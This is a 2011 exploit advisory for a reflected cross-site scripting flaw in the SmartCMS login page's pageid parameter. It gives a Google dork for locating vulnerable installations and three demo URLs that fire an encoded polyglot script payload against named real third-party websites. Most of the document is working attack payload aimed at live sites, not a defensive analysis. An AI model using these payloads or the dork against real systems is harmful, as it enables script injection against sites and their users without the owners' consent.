SmartCMS Cross Site Scripting

# Exploit Title: SmartCMS Cross Site Scripting
# Google Dorks: intext:"powered by SmartCMS"
# Date: 25.08.2011
# Author: Sony
# Software Link: http://www.smartwebsites.com.cy/
# Version: all version
# POC: http://st2tea.blogspot.com/2011/08/smartcms-cross-site-scripting.html

..................................................................

XSS in the Login Page.

http://server/userauthentication.php?action=login&lang=en&pageid=[XSS]

Our code:

http://codepad.org/mMQfVBcw

Demo:

1.

http://www.aigaia.com.cy/userauthentication.php?action=login&lang=en&pageid=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E

2.

http://www.apollofundcyprus.com/userauthentication.php?action=login&lang=en&pageid=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E

3.

http://www.charilaoulab.com/userauthentication.php?action=login&lang=en&pageid=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E